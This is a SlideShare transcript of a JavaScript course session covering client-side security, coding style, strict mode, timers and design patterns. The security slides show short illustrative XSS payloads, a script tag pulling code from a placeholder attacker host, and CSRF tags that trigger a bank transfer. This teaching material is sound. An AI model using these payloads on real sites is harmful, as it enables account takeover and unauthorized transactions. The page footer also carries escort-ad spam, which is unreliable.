SlideShare a Scribd company logo
1 of 82
Download to read offline
Practical JavaScript Programming
Session 7
Wilson Su
2
https://www.slideshare.net/sweekson/
3
Wilson Su
Front-end Developer, HIE
● 6 years in web design
● Specialize in JavaScript /
CSS / HTML / OOP / Git
● Familiar with PHP / Design
Pattern
● Interested in UI & Ix Design
wilson_su@trend.com.tw
Outline
4
Practical JavaScript Programming
Chapter 14.
● Restricted Features
● Vulnerabilities
Security
Chapter 15.
Best Practice
● Coding Style
● Strict Mode
● Timing Events
Chapter 16.
Design Patterns
● Singleton Pattern
● Factory Pattern
● Dependency Injection
● Module Pattern
● Facade Pattern
● Proxy Pattern
● Observer Pattern
Chapter 14.
Security
5
Restricted Features
6
JavaScript Restricted Features
7
Security
Submit a form
The History object
The FileUpload object
Window size and position
Modify event properties
Mixed content
Close a window Same-origin policy
Vulnerabilities
8
What JavaScript Can Do Globally
● Scripts can override native prototype and methods
● Different scripts can mess with each other's variables
● Different scripts can redefine each other's functions
● Transmit data anywhere
● Watch keystrokes
● All scripts run with equal authority
9
Vulnerabilities
10
Client Side Web Security Attacks
Vulnerabilities
● Cross-Site Scripting / XSS
● Cross-Site Request Forgery / CSRF
● JSON Hijacking
● Clickjacking
● Likejacking / Social Jacking
JS
Cross-Site Scripting
11
Vulnerabilities
<script src="https://evil.com/xss.js"></script>
hacker@gmail.com
Save
Email
Bio
Profile
XSS Attack Examples
12
1. <form action="document.write('evil')">
2. <button typen="submit">Save</button>
3. </form>
4. <input onfocus="document.write('evil')" autofocus/>
5. <img src="x" onerror="document.write('evil')"/>
Cross-Site Request Forgery
13
Vulnerabilities
Bank Let’s Play a Game
http://smart.bank.com http://unsafe.games.com
Popular Games
Play Play Play
Hi, Neo
Account Balance
Transfer 10,000
http://smart.bank.com/transfer?to=12345678&amount=10000
CSRF / Cross Site Request Forgery
14
1. <a href="https://bank.com/transfer?to=123&amount=100">Play</a>
2. <img src="https://bank.com/transfer?to=123&amount=100"/>
3. <iframe src="https://bank.com/transfer?to=123&amount=100">
4. </iframe>
JSON Hijacking
15
Vulnerabilities
Bank Let’s Play a Game
http://smart.bank.com http://unsafe.games.com
Hi, Neo <script>
Object.prototype.__defineSetter
__(…);
</script>
<script
src="https://smart.bank.com/dat
a/account"></script>
Nice see you again.
Clickjacking
16
Vulnerabilities
FB Like
Blog
Fake Like
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
Chapter 15.
Best Practice
17
Coding Style
18
Avoid Polluting the Global Scope
19
1. var title = 'JS';
2. var add = function () {};
3. function echo () {};
4. console.log(window.hasOwnProperty('title')); // true
5. console.log(window.hasOwnProperty('add')); // true
6. console.log(window.hasOwnProperty('echo')); // true
Reducing Globals
20
1. /* Use a nmaespace */
2. var util = {
3. version: '1.2.0',
4. unique: function () {},
5. extend: function () {}
6. };
Always use semicolon.
21
Automatic Semicolon Insertion - Example 1
22
1. function fn () {
2. var string = 'xyz'
3. var number = 999
4. return { value: 1 }
5. }
6. /* The code got transformed as follows */
7. function fn () {
8. var string = 'xyz';
9. var number = 999;
10. return { value: 1 };
11. }
Automatic Semicolon Insertion - Example 2
23
1. var fn = function () {
2. return {
3. value: 2
4. }
5. }
6. /* The code got transformed as follows */
7. var fn = function () {
8. return {
9. value: 2
10. };
11. };
Automatic Semicolon Insertion - Example 3
24
1. function fn () {
2. var string = 'xyz'
3. number = 999
4. return
5. { value: 3 }
6. }
7. /* The code got transformed as follows */
8. function fn () {
9. var string = 'xyz';
10. number = 999;
11. return;
12. { value: 3 };
13. }
Automatic Semicolon Insertion - Example 4
25
1. var echo = value => value;
2. var list, id, data = { id: 1 };
3. echo('Hi')
4. (list || []).forEach(v => console.log(v))
5. id = data.id
6. [1, 2, 3].map(v => v * 2)
7.
8. /* The code from line 3 to 6 got transformed into 2 lines */
9. echo('Hi')(list || []).forEach(v => console.log(v));
10. // TypeError
11. id = data.id[1, 2, 3].map(v => v * 2);
12. // TypeError
Automatic Semicolon Insertion - Example 5
26
1. (() => console.log('Hi!'))()
2. (() => console.log('Yo!'))()
3.
4. /* Lines got merged */
5. (() => console.log('Hi!'))()(() => console.log('Yo!'))();
6.
7. /* Add a semicolon before an IIFE; therefore, it will prevent
code from being merged into one line. */
8. Math.random()
9. ;(function () {})();
Conditional Evaluation
27
1. if (array.length > 0) {}
2. if (array.length) {}
3.
4. if (array.length === 0) {}
5. if (!array.length) {}
6.
7. if (string !== '') {}
8. if (string) {}
9.
10. if (string === '') {}
11. if (!string) {}
Avoid Using switch
28
1. var action = 'triple', value = 10;
2. switch (action) {
3. case: 'double':
4. value = value * 2;
5. break;
6. case: 'triple':
7. value = value * 3;
8. break;
9. default:
10. value = value;
11. }
Replacing switch Statements With Object Literals
29
1. var cases = {
2. double: function (value) { return value * 2; },
3. triple: function (value) { return value * 3; },
4. normal: function (value) { return value; }
5. };
6. var action = 'triple', value = 10;
7. var fn = action in cases ? cases[action] : cases.normal;
8. fn(value); // 30
Strict Mode
30
Strict Mode for Scripts
31
1. 'use strict';
2. var text = 'A strict mode script';
Strict Mode for Functions
32
1. function strict () {
2. // Function-level strict mode
3. 'use strict';
4. }
5.
6. function nonstrict () {}
Strict Mode for Anonymous Functions
33
1. (function strict () {
2. // Function-level strict mode
3. 'use strict';
4. })();
The strict-mode directive
is only recognized
at the beginning of a script
or a function.
34
The Strict-mode Not Allowed in Function With Non-simple Parameters
35
1. function fn1 (a = 1, b = 2) { 'use strict'; } // SyntaxError
2. function fn2 ([a, b]) { 'use strict'; } // SyntaxError
3. function fn3 (...args) { 'use strict'; } // SyntaxError
4.
5. /* Workaround */
6. (function () {
7. 'use strict';
8. function fn1 (a = 1, b = 2) {}
9. function fn2 ([a, b]) {}
10. function fn3 (...args) {}
11. })();
Impossible to Accidentally Create Global Variables
36
1. (function nonstrict () {
2. id = 'Global';
3. })();
4. console.log(window.id); // 'Global'
1. (function strict () {
2. 'use strict';
3. /* An error is thrown only if the variable not exists
4. in window object */
5. id = 'Global'; // ReferenceError
6. })();
Strict Mode Function
37
1. (function nonstrict () {
2. return this;
3. })();
4. // Window { … }
5.
6. (function strict () {
7. 'use strict';
8. return this;
9. })();
10. // undefined
Unique Function Parameters
38
1. (function nonstrict (arguments) {
2. return arguments;
3. })(10);
4. // 10
5.
6. function strict (arguments) {
7. 'use strict';
8. }
9. // SyntaxError
Duplicate Parameter Name
39
1. function nonstrict (name, name) {
2. return name;
3. }
4. nonstrict('Ben'); // undefined
5. nonstrict('Ben', 'Lisa'); // 'Lisa'
6.
7. function strict (name, name) {
8. 'use strict';
9. }
10. // SyntaxError
Forbid Setting Properties on Primitive Values
40
1. (function nonstrict () {
2. false.type = 'Bool';
3. (14).text = 'Fourteen';
4. 'Ten'.value = 10;
5. })();
6.
7. (function strict () {
8. 'use strict';
9. false.type = 'Bool'; // TypeError
10. (14).text = 'Fourteen'; // TypeError
11. 'Ten'.value = 10; // TypeError
12. })();
Delete of an Unqualified Identifier
41
1. (function nonstrict () {
2. var index;
3. console.log(delete index); // false
4. })();
5.
6. function strict () {
7. 'use strict';
8. var index;
9. console.log(delete index);
10. }
11. // SyntaxError
Not Allow to Use with
42
1. (function nonstrict () {
2. var dog = { age: 5 };
3. with (dog) { age = 3; }
4. console.log(dog); // {age: 3}
5. })();
6.
7. function strict () {
8. 'use strict';
9. var dog = { age: 5 };
10. with (dog) { age = 3; }
11. }
12. // SyntaxError
The eval() Is Not Allowed to Create Variables in Strict-mode
43
1. (function nonstrict () {
2. eval('var number = 30');
3. console.log(number); // 30
4. })();
5.
6. (function strict () {
7. 'use strict';
8. var bool = eval('var bool = true; bool');
9. eval('var number = 30');
10. console.log(bool); // true
11. console.log(number); // ReferenceError
12. })();
Eval is evil.
44
Timing Events
45
A Basic Timing Event
46
1. var timer = setTimeout(function () {
2. console.log('Executed');
3. }, 10 * 1000);
4. /* The clearTimeout() method cancels a timer previously
established by calling setTimeout() */
5. clearTimeout(timer);
A Customable Timing Event Function Using setTimeout
47
1. /* Assume time() is a function to get current time. */
2. function timer (fn, delay = 1000, times = 3) {
3. setTimeout(function () {
4. console.log(time());
5. fn();
6. --times && timer(fn, delay, times);
7. }, delay);
8. };
9. timer(function () {
10. /* Something that blocks for 1 minutes */
11. });
12. // '12:00:01' '12:01:02' '12:02:03'
A Repeatedly Timing Event
48
1. var timer = setInterval(function () {
2. console.log('Executed');
3. }, 10 * 1000);
4. /* The clearInterval() method cancels a timer previously
established by calling setInterval() */
5. clearInterval(timer);
Stacking Calls With setInterval
49
1. setInterval(function () {
2. /* Something that blocks for 1 minutes */
3. }, 1000);
4. /* When code that is being executed blocks the timeout call,
setInterval will still issue more calls to the specified
function. */
Avoid using setInterval.
50
Chapter 16.
Design Patterns
51
Singleton Pattern
52
Singleton Pattern
53
Design Patterns
Static public
method
Private
constructor
A static
member
A class of which only a single instance can exist. Ensure a class only has
one instance, and provide a global point of access to it.
An Example Using the Singleton Pattern
54
1. function Router (options) {
2. if (Router.instance) { return Router.instance; }
3. this.options = options;
4. }
5. Router.instance = null;
6. Router.create = function (options) {
7. if (Router.instance) { return Router.instance; }
8. return Router.instance = new Router(options);
9. }
10. var options = {}, router = Router.create(options);
11. console.log(router === Router.instance); // true
12. console.log(router === new Router(options)); // true
Factory Pattern
55
Factory Pattern
56
Design Patterns
Line
Bar
Pie
ChartFactory
Define an interface for creating an object, but let subclasses decide which
class to instantiate. Factory Method lets a class defer instantiation to
subclasses.
An Example Using the Factory Pattern
57
1. /* Assume class Line, Bar, and Pie are defined */
2. var types = { line: Line, bar: Bar, pie: Pie };
3. class ChartFactory {
4. static create (options) {
5. var type = options.type;
6. if (!type) { throw Error('Chart type is undefined.'); }
7. var Type = type in types ? types[type] : null;
8. if (!type) { throw Error('Unknown chart type.'); }
9. return new Type(options);
10. }
11. }
12. ChartFactory.create({ type: 'line', data: [50, 80, 60] });
13. ChartFactory.create({ type: 'pie', data: [10, 20, 70] });
Dependency Injection
58
Dependency Injection
59
Design Patterns
Dependency injection is a technique whereby one object supplies the
dependencies of another object. It is one specific implementation of the
inversion of control technique.
App
A
B
C
D
depends
Examples Using the Dependency Injection
60
1. /* Example 1 */
2. function Router () {}
3. function Storage () {}
4. function App () {}
5. new App(new Router(), new Storage());
6.
7. /* Example 2 - Dynamically loads dependencies */
8. function Combobox (input, dropdown) {}
9. var injector = { resolve: function (deps, fn) {} };
10. var dependencies = ['Input', 'Dropdown'];
11. injector.resolve(dependencies, (input, dropdown) => {
12. var combobox = new Combobox(input, dropdown);
13. });
Module Pattern
61
Module Pattern
62
Design Patterns
The Module pattern is used to emulate the concept of classes in such a
way that we're able to include both public/private methods and variables
inside a single object, thus shielding particular parts from the global scope.
Router Menu ChartjQuery
An Example Using the Module Pattern
63
1. /* Global module */
2. var collection = (function () {
3. 'use strict';
4. var module = {};
5. var items = []; // Private
6. var sort = function () {}; // Private
7. module.name = 'collection'; // Public
8. module.push = function (data) {}; // Public
9. return module;
10. })();
An Example Using the Revealing Module Pattern
64
1. /* Global module */
2. var collection = (function () {
3. 'use strict';
4. var name = 'collection';
5. var items = [];
6. function sort () {};
7. function push (data) {};
8. return { name, push };
9. })();
AMD / Asynchronous Module Definition
65
1. /* collection.js */
2. define(['./libs/jquery'], function ($) {
3. 'use strict';
4. var name = 'collection';
5. var items = [];
6. function sort () {};
7. function push (data) {};
8. return { name, push };
9. });
CommonJS
66
1. 'use strict';
2. var $ = require('jquery');
3. var name = 'collection';
4. var items = [];
5. function sort () {};
6. function push (data) {};
7. module.exports = { name, push };
UMD / Universal Module Definition
67
1. (function (root, factory) {
2. if (typeof define === 'function' && define.amd) {
3. define(['jquery'], factory);
4. } else if (typeof exports === 'object') {
5. module.exports = factory(require('jquery'));
6. } else {
7. root.collection = factory(root.jQuery);
8. }
9. })(this, function ($) {
10. 'use strict';
11. var name = 'collection', items = [];
12. var sort = () => {}, push = (data) => {};
13. return { name, push };
14. });
Facade Pattern
68
Facade Pattern
69
Design Patterns
A single class that represents an entire subsystem. Provide a unified
interface to a set of interfaces in a system. Facade defines a higher-level
interface that makes the subsystem easier to use.
Facade
Internal A Internal B Internal C
An Example Using the Facade Pattern
70
1. function bind (elem, event, listener) {
2. if (elem.addEventListener) {
3. elem.addEventListener(event, listener, false);
4. } else if (elem.attachEvent) {
5. elem.attachEvent('on' + event, listener);
6. } else {
7. elem['on' + event] = listener;
8. }
9. }
10. var button = document.getElementById('save');
11. bind(button, 'click', function () {});
12. bind(button, 'dblclick', function () {});
Proxy Pattern
71
Proxy Pattern
72
Design Patterns
Proxy Real ObjectClient
An object representing another object. Provide a surrogate or placeholder
for another object to control access to it.
An Example Using the Proxy Pattern
73
1. class ElementProxy {
2. constructor (selector) {
3. this.selector = selector;
4. this.elem = document.querySelector(selector);
5. }
6. on (event, listener, capture) {
7. this.elem.addEventListener(event, listener, capture);
8. return this;
9. }
10. attr (attr, value) {}
11. }
12. var button = new ElementProxy('button#submit');
13. button.attr('disabled', false).on('click', () => {});
Observer Pattern
74
Observer Pattern
75
Design Patterns
Subject
Observer
Observer
Observer
notify
notify
notifysubject
changed
Define a one-to-many dependency between objects so that when one
object changes state, all its dependents are notified and updated
automatically.
An Example Using the Observer Pattern
76
1. class Subject {
2. attach (observer) { this.set.add(observer); }
3. detach (observer) { this.set.delete(observer); }
4. notify () { this.observers.forEach(o => o.update()); }
5. setState(state) { this.state = state; }
6. }
7. class Observer {
8. update () {}
9. }
10. var subject = new Subject(), observer = new Observer(subject);
11. subject.attach(observer);
12. subject.setState('changed');
13. subject.notify();
An Example Using the Publish/Subscribe Pattern
77
1. class EventEmitter {
2. on(event, listener) {}
3. off(event, listener) {}
4. once(event, listener) {}
5. emit(event, listener) {}
6. }
7. var emitter = new EventEmitter();
8. emitter.on('done', (data) => console.log('Done.'));
9. emitter.on('error', (error) => console.log('Error!'));
10. fetch('/api/users').then((response) => {
11. emitter.emit('done', response.json());
12. })
13. .catch(error => emitter.emit('error', error));
Reference
78
● Clickjacking - Wikipedia
● Cross-Site Scripting (XSS) Cheat Sheet | Veracode
● Cross-Site Scripting – Application Security – Google
● Dependency injection - Wikipedia
● Guide to CSRF (Cross-Site Request Forgery) | Veracode
● HTML5 Security Cheatsheet
● JavaScript Security
● JSON Hijacking | You've Been Hacked
Practical JavaScript Programming
Reference
79
● Mixed content - Web security | MDN
● Principles of Writing Consistent, Idiomatic JavaScript
● Security Guide for Developers
● Social jacking - Wikipedia
● Strict mode restriction - JavaScript | MDN
● Strict mode - JavaScript | MDN
● The 23 Gang of Four Design Patterns
● Understanding Automatic Semicolon Insertion in JavaScript
Practical JavaScript Programming
Reference Books
● Effective JavaScript
● JavaScript: The Good Parts
● JavaScript: The Definitive Guide, 4th Edition
● Learning JavaScript Design Patterns
80
Practical JavaScript Programming
Questions?
81
THANKS

More Related Content

What's hot

Обзор фреймворка Twisted
Обзор фреймворка TwistedОбзор фреймворка Twisted
Обзор фреймворка TwistedMaxim Kulsha
 
PHP Static Code Review
PHP Static Code ReviewPHP Static Code Review
PHP Static Code ReviewDamien Seguy
 
To Err Is Human
To Err Is HumanTo Err Is Human
To Err Is HumanAlex Liu
 
JavaScript and the AST
JavaScript and the ASTJavaScript and the AST
JavaScript and the ASTJarrod Overson
 
ClojurianからみたElixir
ClojurianからみたElixirClojurianからみたElixir
ClojurianからみたElixirKent Ohashi
 
Testing your javascript code with jasmine
Testing your javascript code with jasmineTesting your javascript code with jasmine
Testing your javascript code with jasmineRubyc Slides
 
Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6Riza Fahmi
 
async/await Revisited
async/await Revisitedasync/await Revisited
async/await RevisitedRiza Fahmi
 
Java Bytecode: Passing Parameters
Java Bytecode: Passing ParametersJava Bytecode: Passing Parameters
Java Bytecode: Passing ParametersAnton Arhipov
 
連邦の白いヤツ 「Objective-C」
連邦の白いヤツ 「Objective-C」連邦の白いヤツ 「Objective-C」
連邦の白いヤツ 「Objective-C」matuura_core
 
Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Formacion en movilidad: Conceptos de desarrollo en iOS (IV) Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Formacion en movilidad: Conceptos de desarrollo en iOS (IV) Mobivery
 
JavaScript Design Patterns
JavaScript Design PatternsJavaScript Design Patterns
JavaScript Design PatternsDerek Brown
 
LISA QooxdooTutorial Slides
LISA QooxdooTutorial SlidesLISA QooxdooTutorial Slides
LISA QooxdooTutorial SlidesTobias Oetiker
 

What's hot (19)

Обзор фреймворка Twisted
Обзор фреймворка TwistedОбзор фреймворка Twisted
Обзор фреймворка Twisted
 
PHP Static Code Review
PHP Static Code ReviewPHP Static Code Review
PHP Static Code Review
 
To Err Is Human
To Err Is HumanTo Err Is Human
To Err Is Human
 
JavaScript and the AST
JavaScript and the ASTJavaScript and the AST
JavaScript and the AST
 
ClojurianからみたElixir
ClojurianからみたElixirClojurianからみたElixir
ClojurianからみたElixir
 
Testing your javascript code with jasmine
Testing your javascript code with jasmineTesting your javascript code with jasmine
Testing your javascript code with jasmine
 
Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6
 
Server1
Server1Server1
Server1
 
async/await Revisited
async/await Revisitedasync/await Revisited
async/await Revisited
 
The zen of async: Best practices for best performance
The zen of async: Best practices for best performanceThe zen of async: Best practices for best performance
The zen of async: Best practices for best performance
 
Java Bytecode: Passing Parameters
Java Bytecode: Passing ParametersJava Bytecode: Passing Parameters
Java Bytecode: Passing Parameters
 
連邦の白いヤツ 「Objective-C」
連邦の白いヤツ 「Objective-C」連邦の白いヤツ 「Objective-C」
連邦の白いヤツ 「Objective-C」
 
Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Formacion en movilidad: Conceptos de desarrollo en iOS (IV) Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
 
Why Sifu
Why SifuWhy Sifu
Why Sifu
 
Specs2
Specs2Specs2
Specs2
 
ES2015 workflows
ES2015 workflowsES2015 workflows
ES2015 workflows
 
JavaScript Design Patterns
JavaScript Design PatternsJavaScript Design Patterns
JavaScript Design Patterns
 
LISA QooxdooTutorial Slides
LISA QooxdooTutorial SlidesLISA QooxdooTutorial Slides
LISA QooxdooTutorial Slides
 
Say It With Javascript
Say It With JavascriptSay It With Javascript
Say It With Javascript
 

Similar to Practical JavaScript Programming - Session 7/8

Workshop 1: Good practices in JavaScript
Workshop 1: Good practices in JavaScriptWorkshop 1: Good practices in JavaScript
Workshop 1: Good practices in JavaScriptVisual Engineering
 
The mighty js_function
The mighty js_functionThe mighty js_function
The mighty js_functiontimotheeg
 
Ten useful JavaScript tips & best practices
Ten useful JavaScript tips & best practicesTen useful JavaScript tips & best practices
Ten useful JavaScript tips & best practicesAnkit Rastogi
 
DevOpsCon 2021: Go Web Development 101
DevOpsCon 2021: Go Web Development 101DevOpsCon 2021: Go Web Development 101
DevOpsCon 2021: Go Web Development 101Jan Stamer
 
Node.js System: The Landing
Node.js System: The LandingNode.js System: The Landing
Node.js System: The LandingHaci Murat Yaman
 
entwickler.de Go Day: Go Web Development 101
entwickler.de Go Day: Go Web Development 101entwickler.de Go Day: Go Web Development 101
entwickler.de Go Day: Go Web Development 101Jan Stamer
 
Construire une application JavaFX 8 avec gradle
Construire une application JavaFX 8 avec gradleConstruire une application JavaFX 8 avec gradle
Construire une application JavaFX 8 avec gradleThierry Wasylczenko
 
ESCMAScript 6: Get Ready For The Future. Now
ESCMAScript 6: Get Ready For The Future. NowESCMAScript 6: Get Ready For The Future. Now
ESCMAScript 6: Get Ready For The Future. NowKrzysztof Szafranek
 
Common mistakes in android development
Common mistakes in android developmentCommon mistakes in android development
Common mistakes in android developmentHoang Nguyen Huu
 
Node.js behind: V8 and its optimizations
Node.js behind: V8 and its optimizationsNode.js behind: V8 and its optimizations
Node.js behind: V8 and its optimizationsDawid Rusnak
 
JavaScript (without DOM)
JavaScript (without DOM)JavaScript (without DOM)
JavaScript (without DOM)Piyush Katariya
 
Object-Oriented JavaScript
Object-Oriented JavaScriptObject-Oriented JavaScript
Object-Oriented JavaScriptkvangork
 
Object-Oriented Javascript
Object-Oriented JavascriptObject-Oriented Javascript
Object-Oriented Javascriptkvangork
 
Exercícios Netbeans - Vera Cymbron
Exercícios Netbeans - Vera CymbronExercícios Netbeans - Vera Cymbron
Exercícios Netbeans - Vera Cymbroncymbron
 
case3h231diamond.gifcase3h231energy.jpgcase3h231moder.docx
case3h231diamond.gifcase3h231energy.jpgcase3h231moder.docxcase3h231diamond.gifcase3h231energy.jpgcase3h231moder.docx
case3h231diamond.gifcase3h231energy.jpgcase3h231moder.docxtidwellveronique
 
FrontDays #3. Иван Федяев, Эволюция JavaScript. Обзор нововведений ECMAScript 6
FrontDays #3. Иван Федяев, Эволюция JavaScript. Обзор нововведений ECMAScript 6FrontDays #3. Иван Федяев, Эволюция JavaScript. Обзор нововведений ECMAScript 6
FrontDays #3. Иван Федяев, Эволюция JavaScript. Обзор нововведений ECMAScript 6FrontDays
 

Similar to Practical JavaScript Programming - Session 7/8 (20)

Workshop 1: Good practices in JavaScript
Workshop 1: Good practices in JavaScriptWorkshop 1: Good practices in JavaScript
Workshop 1: Good practices in JavaScript
 
The mighty js_function
The mighty js_functionThe mighty js_function
The mighty js_function
 
Es6 hackathon
Es6 hackathonEs6 hackathon
Es6 hackathon
 
Ten useful JavaScript tips & best practices
Ten useful JavaScript tips & best practicesTen useful JavaScript tips & best practices
Ten useful JavaScript tips & best practices
 
DevOpsCon 2021: Go Web Development 101
DevOpsCon 2021: Go Web Development 101DevOpsCon 2021: Go Web Development 101
DevOpsCon 2021: Go Web Development 101
 
Node.js System: The Landing
Node.js System: The LandingNode.js System: The Landing
Node.js System: The Landing
 
entwickler.de Go Day: Go Web Development 101
entwickler.de Go Day: Go Web Development 101entwickler.de Go Day: Go Web Development 101
entwickler.de Go Day: Go Web Development 101
 
Construire une application JavaFX 8 avec gradle
Construire une application JavaFX 8 avec gradleConstruire une application JavaFX 8 avec gradle
Construire une application JavaFX 8 avec gradle
 
ESCMAScript 6: Get Ready For The Future. Now
ESCMAScript 6: Get Ready For The Future. NowESCMAScript 6: Get Ready For The Future. Now
ESCMAScript 6: Get Ready For The Future. Now
 
"let ECMAScript = 6"
"let ECMAScript = 6" "let ECMAScript = 6"
"let ECMAScript = 6"
 
Using zone.js
Using zone.jsUsing zone.js
Using zone.js
 
Common mistakes in android development
Common mistakes in android developmentCommon mistakes in android development
Common mistakes in android development
 
Node.js behind: V8 and its optimizations
Node.js behind: V8 and its optimizationsNode.js behind: V8 and its optimizations
Node.js behind: V8 and its optimizations
 
JavaScript (without DOM)
JavaScript (without DOM)JavaScript (without DOM)
JavaScript (without DOM)
 
Object-Oriented JavaScript
Object-Oriented JavaScriptObject-Oriented JavaScript
Object-Oriented JavaScript
 
Object-Oriented Javascript
Object-Oriented JavascriptObject-Oriented Javascript
Object-Oriented Javascript
 
Exercícios Netbeans - Vera Cymbron
Exercícios Netbeans - Vera CymbronExercícios Netbeans - Vera Cymbron
Exercícios Netbeans - Vera Cymbron
 
Tomorrow Java
Tomorrow JavaTomorrow Java
Tomorrow Java
 
case3h231diamond.gifcase3h231energy.jpgcase3h231moder.docx
case3h231diamond.gifcase3h231energy.jpgcase3h231moder.docxcase3h231diamond.gifcase3h231energy.jpgcase3h231moder.docx
case3h231diamond.gifcase3h231energy.jpgcase3h231moder.docx
 
FrontDays #3. Иван Федяев, Эволюция JavaScript. Обзор нововведений ECMAScript 6
FrontDays #3. Иван Федяев, Эволюция JavaScript. Обзор нововведений ECMAScript 6FrontDays #3. Иван Федяев, Эволюция JavaScript. Обзор нововведений ECMAScript 6
FrontDays #3. Иван Федяев, Эволюция JavaScript. Обзор нововведений ECMAScript 6
 

More from Wilson Su

Mirage For Beginners
Mirage For BeginnersMirage For Beginners
Mirage For BeginnersWilson Su
 
The Jira How-To Guide
The Jira How-To GuideThe Jira How-To Guide
The Jira How-To GuideWilson Su
 
The Future of Web Development
The Future of Web DevelopmentThe Future of Web Development
The Future of Web DevelopmentWilson Su
 
Web Usability
Web UsabilityWeb Usability
Web UsabilityWilson Su
 
Puppeteer - Headless Chrome Node API
Puppeteer - Headless Chrome Node APIPuppeteer - Headless Chrome Node API
Puppeteer - Headless Chrome Node APIWilson Su
 
Practical JavaScript Programming - Session 3/8
Practical JavaScript Programming - Session 3/8Practical JavaScript Programming - Session 3/8
Practical JavaScript Programming - Session 3/8Wilson Su
 
Practical JavaScript Programming - Session 2/8
Practical JavaScript Programming - Session 2/8Practical JavaScript Programming - Session 2/8
Practical JavaScript Programming - Session 2/8Wilson Su
 

More from Wilson Su (8)

Mirage For Beginners
Mirage For BeginnersMirage For Beginners
Mirage For Beginners
 
NestJS
NestJSNestJS
NestJS
 
The Jira How-To Guide
The Jira How-To GuideThe Jira How-To Guide
The Jira How-To Guide
 
The Future of Web Development
The Future of Web DevelopmentThe Future of Web Development
The Future of Web Development
 
Web Usability
Web UsabilityWeb Usability
Web Usability
 
Puppeteer - Headless Chrome Node API
Puppeteer - Headless Chrome Node APIPuppeteer - Headless Chrome Node API
Puppeteer - Headless Chrome Node API
 
Practical JavaScript Programming - Session 3/8
Practical JavaScript Programming - Session 3/8Practical JavaScript Programming - Session 3/8
Practical JavaScript Programming - Session 3/8
 
Practical JavaScript Programming - Session 2/8
Practical JavaScript Programming - Session 2/8Practical JavaScript Programming - Session 2/8
Practical JavaScript Programming - Session 2/8
 

Recently uploaded

CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete RecordCCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete RecordAsst.prof M.Gokilavani
 
KubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghlyKubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghlysanyuktamishra911
 
data_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdfdata_management_and _data_science_cheat_sheet.pdf
data_management_and _data_science_cheat_sheet.pdfJiananWang21
 
Call Girls Wakad Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Wakad Call Me 7737669865 Budget Friendly No Advance BookingCall Girls Wakad Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Wakad Call Me 7737669865 Budget Friendly No Advance Bookingroncy bisnoi
 
Double rodded leveling 1 pdf activity 01
Double rodded leveling 1 pdf activity 01Double rodded leveling 1 pdf activity 01
Double rodded leveling 1 pdf activity 01KreezheaRecto
 
Unleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leapUnleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leapRishantSharmaFr
 
Booking open Available Pune Call Girls Koregaon Park 6297143586 Call Hot Ind...
Booking open Available Pune Call Girls Koregaon Park  6297143586 Call Hot Ind...Booking open Available Pune Call Girls Koregaon Park  6297143586 Call Hot Ind...
Booking open Available Pune Call Girls Koregaon Park 6297143586 Call Hot Ind...Call Girls in Nagpur High Profile
 
Vivazz, Mieres Social Housing Design Spain
Vivazz, Mieres Social Housing Design SpainVivazz, Mieres Social Housing Design Spain
Vivazz, Mieres Social Housing Design Spaintimesproduction05
 
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance BookingCall Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Booking
Call Girls Walvekar Nagar Call Me 7737669865 Budget Friendly No Advance Bookingroncy bisnoi
 
Call for Papers - International Journal of Intelligent Systems and Applicatio...
Call for Papers - International Journal of Intelligent Systems and Applicatio...Call for Papers - International Journal of Intelligent Systems and Applicatio...
Call for Papers - International Journal of Intelligent Systems and Applicatio...Christo Ananth
 
Thermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - VThermal Engineering-R & A / C - unit - V
Thermal Engineering-R & A / C - unit - VDineshKumar4165
 
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...roncy bisnoi
 
Double Revolving field theory-how the rotor develops torque
Double Revolving field theory-how the rotor develops torqueDouble Revolving field theory-how the rotor develops torque
Double Revolving field theory-how the rotor develops torqueBhangaleSonal
 
chapter 5.pptx: drainage and irrigation engineering
chapter 5.pptx: drainage and irrigation engineeringchapter 5.pptx: drainage and irrigation engineering
chapter 5.pptx: drainage and irrigation engineeringmulugeta48
 
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night StandCall Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Stand
Call Girls In Bangalore ☎ 7737669865 🥵 Book Your One night Standamitlee9823
 
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Ankleshwar 7001035870 Whatsapp Number, 24/07 Booking
